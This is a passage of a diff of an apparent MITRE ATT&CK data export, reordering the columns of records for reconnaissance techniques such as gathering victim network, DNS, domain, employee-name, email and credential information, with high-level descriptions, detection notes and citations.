accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: DNS Dumpster) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",attack-pattern--34ab90a3-05f6-4259-8f21-621081fdaba5,attack-pattern,['reconnaissance'],2021-04-15T03:33:02.476Z,2020-10-02T15:49:03.815Z,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: DNS Dumpster) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",['reconnaissance'],https://attack.mitre.org/techniques/T1590/004,mitre-attack,T1590.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1590.003', 'url': 'https://attack.mitre.org/techniques/T1590/003'}, {'source_name': 'Pentesting AD Forests', 'url': 'https://www.slideshare.net/rootedcon/carlos-garca-pentesting-active-directory-forests-rooted2019', 'description': 'García, C. (2019, April 3). Pentesting Active Directory Forests. Retrieved October 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]",1.0,True,https://attack.mitre.org/techniques/T1590/003,mitre-attack,T1590.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Network Trust Dependencies,"Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1590/003', 'external_id': 'T1590.003'}, {'source_name': 'Pentesting AD Forests', 'description': 'García, C. (2019, April 3). Pentesting Active Directory Forests. Retrieved October 20, 2020.', 'url': 'https://www.slideshare.net/rootedcon/carlos-garca-pentesting-active-directory-forests-rooted2019'}]",1.0,attack-pattern,attack-pattern--36aa137f-5166-41f8-b2f0-a4cfa1b4133e,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T15:47:59.457Z,2021-04-15T03:34:22.917Z,Network Trust Dependencies,"Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. -Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: Pentesting AD Forests) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",attack-pattern--36aa137f-5166-41f8-b2f0-a4cfa1b4133e,attack-pattern,['reconnaissance'],2021-04-15T03:34:22.917Z,2020-10-02T15:47:59.457Z,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: Pentesting AD Forests) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",['reconnaissance'],https://attack.mitre.org/techniques/T1590/003,mitre-attack,T1590.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1590.002', 'url': 'https://attack.mitre.org/techniques/T1590/002'}, {'source_name': 'DNS Dumpster', 'url': 'https://dnsdumpster.com/', 'description': 'Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.'}, {'source_name': 'Circl Passive DNS', 'url': 'https://www.circl.lu/services/passive-dns/', 'description': 'CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]",1.0,True,https://attack.mitre.org/techniques/T1590/002,mitre-attack,T1590.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,DNS,"Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1590/002', 'external_id': 'T1590.002'}, {'source_name': 'DNS Dumpster', 'description': 'Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.', 'url': 'https://dnsdumpster.com/'}, {'source_name': 'Circl Passive DNS', 'description': 'CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.', 'url': 'https://www.circl.lu/services/passive-dns/'}]",1.0,attack-pattern,attack-pattern--0ff59227-8aa8-4c09-bf1f-925605bd07ea,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T15:47:10.102Z,2021-04-15T03:29:18.740Z,DNS,"Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. -Adversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",attack-pattern--0ff59227-8aa8-4c09-bf1f-925605bd07ea,attack-pattern,['reconnaissance'],2021-04-15T03:29:18.740Z,2020-10-02T15:47:10.102Z,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",['reconnaissance'],https://attack.mitre.org/techniques/T1590/002,mitre-attack,T1590.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1590.001', 'url': 'https://attack.mitre.org/techniques/T1590/001'}, {'source_name': 'WHOIS', 'url': 'https://www.whois.net/', 'description': 'NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.'}, {'source_name': 'DNS Dumpster', 'url': 'https://dnsdumpster.com/', 'description': 'Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.'}, {'source_name': 'Circl Passive DNS', 'url': 'https://www.circl.lu/services/passive-dns/', 'description': 'CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]",1.0,True,https://attack.mitre.org/techniques/T1590/001,mitre-attack,T1590.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Domain Properties,"Adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1590/001', 'external_id': 'T1590.001'}, {'source_name': 'WHOIS', 'description': 'NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.', 'url': 'https://www.whois.net/'}, {'source_name': 'DNS Dumpster', 'description': 'Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.', 'url': 'https://dnsdumpster.com/'}, {'source_name': 'Circl Passive DNS', 'description': 'CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.', 'url': 'https://www.circl.lu/services/passive-dns/'}]",1.0,attack-pattern,attack-pattern--e3b168bd-fcd7-439e-9382-2e6c2f63514d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T15:46:24.670Z,2021-04-15T03:30:33.508Z,Domain Properties,"Adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers. -Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: [WHOIS](https://attack.mitre.org/techniques/T1596/002)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",attack-pattern--e3b168bd-fcd7-439e-9382-2e6c2f63514d,attack-pattern,['reconnaissance'],2021-04-15T03:30:33.508Z,2020-10-02T15:46:24.670Z,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: [WHOIS](https://attack.mitre.org/techniques/T1596/002)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",['reconnaissance'],https://attack.mitre.org/techniques/T1590/001,mitre-attack,T1590.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1590', 'url': 'https://attack.mitre.org/techniques/T1590'}, {'source_name': 'WHOIS', 'url': 'https://www.whois.net/', 'description': 'NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.'}, {'source_name': 'DNS Dumpster', 'url': 'https://dnsdumpster.com/', 'description': 'Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.'}, {'source_name': 'Circl Passive DNS', 'url': 'https://www.circl.lu/services/passive-dns/', 'description': 'CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]",1.0,False,https://attack.mitre.org/techniques/T1590,mitre-attack,T1590,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Gather Victim Network Information,"Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1590', 'external_id': 'T1590'}, {'source_name': 'WHOIS', 'description': 'NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.', 'url': 'https://www.whois.net/'}, {'source_name': 'DNS Dumpster', 'description': 'Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.', 'url': 'https://dnsdumpster.com/'}, {'source_name': 'Circl Passive DNS', 'description': 'CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.', 'url': 'https://www.circl.lu/services/passive-dns/'}]",1.0,attack-pattern,attack-pattern--9d48cab2-7929-4812-ad22-f536665f0109,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T15:45:17.628Z,2021-04-15T03:34:23.229Z,Gather Victim Network Information,"Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations. -Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",attack-pattern--9d48cab2-7929-4812-ad22-f536665f0109,attack-pattern,['reconnaissance'],2021-04-15T03:34:23.229Z,2020-10-02T15:45:17.628Z,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",['reconnaissance'],https://attack.mitre.org/techniques/T1590,mitre-attack,T1590,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1589.003', 'url': 'https://attack.mitre.org/techniques/T1589/003'}, {'source_name': 'OPM Leak', 'url': 'https://www.opm.gov/cybersecurity/cybersecurity-incidents/', 'description': 'Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved October 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]",1.0,True,https://attack.mitre.org/techniques/T1589/003,mitre-attack,T1589.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Employee Names,"Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",False,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1589/003', 'external_id': 'T1589.003'}, {'source_name': 'OPM Leak', 'description': 'Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved October 20, 2020.', 'url': 'https://www.opm.gov/cybersecurity/cybersecurity-incidents/'}]",1.0,attack-pattern,attack-pattern--76551c52-b111-4884-bc47-ff3e728f0156,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T14:57:15.906Z,2021-04-15T03:27:49.437Z,Employee Names,"Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures. -Adversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",attack-pattern--76551c52-b111-4884-bc47-ff3e728f0156,attack-pattern,['reconnaissance'],2021-04-15T03:27:49.437Z,2020-10-02T14:57:15.906Z,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",['reconnaissance'],https://attack.mitre.org/techniques/T1589/003,mitre-attack,T1589.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1589.002', 'url': 'https://attack.mitre.org/techniques/T1589/002'}, {'source_name': 'HackersArise Email', 'url': 'https://www.hackers-arise.com/email-scraping-and-maltego', 'description': 'Hackers Arise. (n.d.). Email Scraping and Maltego. Retrieved October 20, 2020.'}, {'source_name': 'CNET Leaks', 'url': 'https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/', 'description': 'Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]",1.0,True,https://attack.mitre.org/techniques/T1589/002,mitre-attack,T1589.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Email Addresses,"Adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1589/002', 'external_id': 'T1589.002'}, {'source_name': 'HackersArise Email', 'description': 'Hackers Arise. (n.d.). Email Scraping and Maltego. Retrieved October 20, 2020.', 'url': 'https://www.hackers-arise.com/email-scraping-and-maltego'}, {'source_name': 'CNET Leaks', 'description': 'Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020.', 'url': 'https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/'}]",1.0,attack-pattern,attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T14:56:24.866Z,2021-04-15T03:27:19.702Z,Email Addresses,"Adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees. -Adversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: HackersArise Email)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Email Accounts](https://attack.mitre.org/techniques/T1586/002)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262,attack-pattern,['reconnaissance'],2021-04-15T03:27:19.702Z,2020-10-02T14:56:24.866Z,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: HackersArise Email)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Email Accounts](https://attack.mitre.org/techniques/T1586/002)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",['reconnaissance'],https://attack.mitre.org/techniques/T1589/002,mitre-attack,T1589.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1589.001', 'url': 'https://attack.mitre.org/techniques/T1589/001'}, {'source_name': 'ATT ScanBox', 'url': 'https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks', 'description': 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.'}, {'source_name': 'Register Deloitte', 'url': 'https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/', 'description': ""Thomson, I. (2017, September 26). Deloitte is a sitting duck: Key systems with RDP open, VPN and proxy 'login details leaked'. Retrieved October 19, 2020.""}, {'source_name': 'Register Uber', 'url': 'https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/', 'description': 'McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub into court to find who hacked database of 50,000 drivers. Retrieved October 19, 2020.'}, {'source_name': 'Detectify Slack Tokens', 'url': 'https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/', 'description': 'Detectify. (2016, April 28). Slack bot token leakage exposing business critical information. Retrieved October 19, 2020.'}, {'source_name': 'Forbes GitHub Creds', 'url': 'https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196', 'description': 'Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved October 19, 2020.'}, {'source_name': 'GitHub truffleHog', 'url': 'https://github.com/dxa4481/truffleHog', 'description': 'Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October 19, 2020.'}, {'source_name': 'GitHub Gitrob', 'url': 'https://github.com/michenriksen/gitrob', 'description': 'Michael Henriksen. (2018, June 9). Gitrob: Putting the Open Source in OSINT. Retrieved October 19, 2020.'}, {'source_name': 'CNET Leaks', 'url': 'https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/', 'description': 'Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]",1.0,True,https://attack.mitre.org/techniques/T1589/001,mitre-attack,T1589.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Credentials,"Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1589/001', 'external_id': 'T1589.001'}, {'source_name': 'ATT ScanBox', 'description': 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.', 'url': 'https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks'}, {'source_name': 'Register Deloitte', 'description': ""Thomson, 